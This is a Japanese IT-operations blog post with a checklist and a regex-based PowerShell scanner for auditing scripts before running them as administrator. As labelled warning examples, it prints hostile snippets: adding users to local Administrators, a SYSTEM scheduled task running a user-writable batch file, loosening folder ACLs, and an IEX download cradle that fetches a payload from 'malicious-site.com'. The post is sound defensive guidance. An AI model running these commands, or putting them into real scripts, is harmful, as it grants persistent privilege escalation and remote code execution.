システムエンジニアXの「プログラミング以外」の話 50代会社員SEのお仕事・副業・システム運用の経験談

【社内情シス必携】依頼スクリプトの管理者実行代行「権限昇格」チェックリスト

公開:

※本記事には広告を含みます。

はじめに

社内の一般社員や他部署の開発者から「PCの設定を変えたいので、このPowerShellスクリプトを管理者権限で代わりに実行してください」と依頼されたことはないでしょうか。

私も過去に、急ぎの依頼だからと中身をざっと流し見しただけで管理者実行してしまい、後日そのスクリプトの中に「特定フォルダのアクセス権を全開放するコード」が含まれていたことに気づき、肝を冷やした経験があります。

親切心や業務効率化のために管理者が実行を代行した瞬間、スクリプト内に「将来にわたって一般ユーザーが管理者権限を行使できる仕掛け(バックドア・永続化)」が組み込まれていれば、ドメイン環境全体のセキュリティが崩壊します。

この記事では、ユーザーから渡されたPowerShellスクリプトを管理者権限で代行実行する前に、必ず静的チェックすべき「権限昇格・永続化の仕込みポイント5選」と、自動監査用スクリプトを徹底解説します。

読み終えるころには、危険なスクリプトを機械的に見抜き、安全に代行作業を行えるようになります。

この記事の要点

  • ユーザー提供スクリプトを管理者代行する際は「単発の処理」だけでなく「将来の管理者権限奪取(永続化)」の有無を監査する
  • 「Run/RunOnceレジストリ」「特権スケジュールタスク」「ローカル管理者グループ追加」「ACL改ざん」「難読化/IEX」の5大リスクを点検する
  • 怪しいスクリプトは直接ホストで動かさず、Windowsサンドボックス(Sandbox)または監査スクリプトで事前検証する
項目 動作確認・検証環境
検証年月 2026年3月
対象OS Windows 11 Pro / Enterprise 23H2・24H2
対象ツール PowerShell 5.1 / 7.x, Windows サンドボックス
対象ペルソナ 社内情シス、端末管理者、セキュリティ運用担当者

結論:チェックすべき「5大権限昇格・永続化」ポイント

結論からお伝えすると、ユーザー提供スクリプトを精査する際は 「実行後に一般ユーザーが自力で特権コマンドを実行できるようになる仕掛け(バックドア)がないか」 を以下の5つの観点で監査します。

権限昇格・バックドアの仕込みパターン一覧表

危険レベル 攻撃・仕込み手法 スクリプト内で使われる代表的コマンド 潜んでいるリスク
最高 ローカル管理者への勝手追加 net localgroup administrators, Add-LocalGroupMember 依頼者アカウントが恒久的にローカル管理者になる
最高 特権スケジュールタスクの作成 Register-ScheduledTask, schtasks /create /ru SYSTEM SYSTEM権限で任意のスクリプトが定期実行される
高 自動起動レジストリの改ざん Set-ItemProperty ...\Run, HKLM:\SOFTWARE\... 次回ログオン時に悪意あるコマンドが自動実行される
高 システム領域のACL書き換え icacls ... /grant, Set-Acl 一般ユーザーがシステムファイルやDLLを書き換え可能になる
最高 コードの難読化・動的ダウンロード Invoke-Expression, IEX, [System.Convert]::FromBase64String 外部サーバーから未知の悪意あるペイロードを取得・実行する

【コード監査】危険なパターンを検知する具体的コード例

スクリプト内に以下の記述が含まれていた場合、即座に実行を停止し、依頼者へのヒアリングが必要です。

1. ローカル管理者グループへの追加

最も直接的な特権昇格です。巧妙な場合、変数名を変えたりSIDで指定したりします。

# 危険なコード例
net localgroup administrators "$env:USERNAME" /add
Add-LocalGroupMember -Group "Administrators" -Member "corp\user01"

2. SYSTEM権限でのスケジュールタスク作成

管理者が代行実行した瞬間にタスクを登録し、その後一般ユーザーが編集可能なバッチファイルをSYSTEM権限で定期実行させる手口です。

# 危険なコード例(SYSTEM権限でタスクを登録)
$Action = New-ScheduledTaskAction -Execute "C:\Users\Public\update.bat"
$Trigger = New-ScheduledTaskTrigger -AtLogon
Register-ScheduledTask -TaskName "CorpAutoUpdate" -Action $Action -Trigger $Trigger -User "NT AUTHORITY\SYSTEM"

この設定が通ると、ユーザーは C:\Users\Public\update.bat を後から書き換えるだけで、自由にSYSTEM権限で任意の処理を実行できるようになります。

3. システムフォルダや実行ファイルのACL緩和

一般ユーザーには書き込み権限のないフォルダ(C:\Program Files や C:\Tools)に対して、一般ユーザー(Authenticated UsersやUsers)へフルコントロールを付与するコードです。

# 危険なコード例(C:\Tools配下に一般ユーザー書き込み権限を付与)
icacls "C:\Program Files\CommonApp" /grant "Users:(OI)(CI)F" /T

DLLサイドローディング攻撃や実行ファイルのすり替えが可能になり、サービス起動時に管理者権限を奪取されます。

4. 難読化と動的ダウンロード(IEXの罠)

パッと見で何をしているか分からないコードは原則として実行代行してはなりません。

# 危険なコード例(難読化とWebダウンロード)
powershell -enc JABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQA...
IEX (New-Object Net.WebClient).DownloadString('https://malicious-site.com/payload.ps1')

現場で使える「スクリプト自動安全チェッカー」

手作業でのコードレビューを補助するため、危険なキーワードを自動検出するPowerShellスクリプトを用意しました。代行実行前にこのスクリプトを通して一次判定を行います。

<#
.SYNOPSIS
    ユーザー提供PowerShellスクリプトの権限昇格リスク自動スキャン
#>
param (
    [Parameter(Mandatory=$true)]
    [string]$TargetScriptPath
)

if (-not (Test-Path $TargetScriptPath)) {
    Write-Error "ファイルが存在しません: $TargetScriptPath"
    exit 1
}

$Content = Get-Content -Path $TargetScriptPath -Raw

# 検出対象の危険パターン(正規表現)
$RiskPatterns = @{
    "ローカル管理者追加"     = 'net\s+localgroup\s+administrators|Add-LocalGroupMember'
    "スケジュールタスク作成" = 'Register-ScheduledTask|schtasks(\.exe)?\s+\/create'
    "自動起動レジストリ操作" = 'CurrentVersion\\Run|CurrentVersion\\RunOnce'
    "ACLアクセス権緩和"      = 'icacls(\.exe)?.*\/grant|Set-Acl'
    "難読化・動的実行"       = 'Invoke-Expression|\bIEX\b|FromBase64String|-enc(odedcommand)?'
    "外部通信・ダウンロード" = 'Net\.WebClient|Invoke-WebRequest|Start-BitsTransfer|curl|wget'
}

Write-Host "=== スクリプト静的監査を開始: $TargetScriptPath ===" -ForegroundColor Cyan
$DangerFound = $false

foreach ($RiskName in $RiskPatterns.Keys) {
    $Pattern = $RiskPatterns[$RiskName]
    if ($Content -match $Pattern) {
        Write-Host "[警告] $RiskName の可能性があるパターンを検出しました!" -ForegroundColor Red
        Write-Host "       一致パターン: $Pattern" -ForegroundColor Yellow
        $DangerFound = $true
    }
}

if (-not $DangerFound) {
    Write-Host "[合格] 明らかな権限昇格パターンは検出されませんでした。" -ForegroundColor Green
} else {
    Write-Host "`n[注意] 該当箇所を目視で精査するまで、管理者実行しないでください。" -ForegroundColor Red
}

よくある質問(FAQ)

Q: Windows サンドボックス(Windows Sandbox)で動かしてテストすれば安全ですか?

A: 挙動テストとしては非常に有効です。Windowsサンドボックスは使い捨ての仮想環境であるため、ホストPCを汚染せずに安全に動作確認できます。ただし、スクリプトが「ドメイン環境(AD)」や「社内ネットワーク」を前提としている場合は、サンドボックス内ではエラーで止まることがある点に留意してください。

Q: 「このアプリのインストールにどうしても管理者権限が必要」と言われた場合の根本的な対策は?

A: 個別のスクリプト実行代行を続ける運用はスケールせず、人的ミスを誘発します。Microsoft Intuneの「エンドポイント特権管理(Endpoint Privilege Management: EPM)」や、LAPS(Local Administrator Password Solution)を活用した一時的・申請ベースの権限昇格の仕組みへ運用をシフトするのがモダンな解決策です。


まとめ

ユーザー提供スクリプトを管理者権限で代行実行する際の鉄則は以下の通りです。

  • スクリプト単体の目的だけでなく、「実行後の権限状態(永続化)」を必ず疑う
  • ローカル管理者追加、タスクスケジューラ、Runキー、ACL変更の 4大永続化手口 を必ず静的チェックする
  • 難読化(Base64)や Invoke-Expression(IEX) が含まれるコードは 解読できるまで絶対に実行しない
  • 手動チェックに頼らず、監査スクリプトによる事前スキャン を定常業務に組み込む

「情シスが実行してくれたから安全」という盲点を突かれないよう、厳格な監査基準を持って社内インフラを守りましょう。

関連記事

免責規定

この記事で提供される情報は、一般的なガイダンスを目的としており、すべての環境やシステムでの動作を保証するものではありません。

OSのバージョンやリリースによっては、記載されている事が実行できない、または異なる結果をもたらす可能性があります。 また、会社所有のパソコン、スマホ、タブレットなどでは、ポリシーや権限によって実行できない場合があります。

この記事の情報を使用することによって生じる問題や結果について、筆者およびサイト管理者は責任を負いません。 すべての操作は自己責任で行ってください。

最後までお読みいただきありがとうございました。
またお会いしましょう!

著者のおすすめ教材 & note実践記事

公式教材 豪華4大特典付き

PowerShell実務スクリプト50選

AD・Windows運用・障害対応をコマンド一発で自動化する現役SEの実務スクリプト集。

最新note 毎日定時で帰る現場ハック

ググっても出ない実務テク20選

社内SE現場の地味で細かすぎる面倒作業を一撃で解消する実践テクニック集。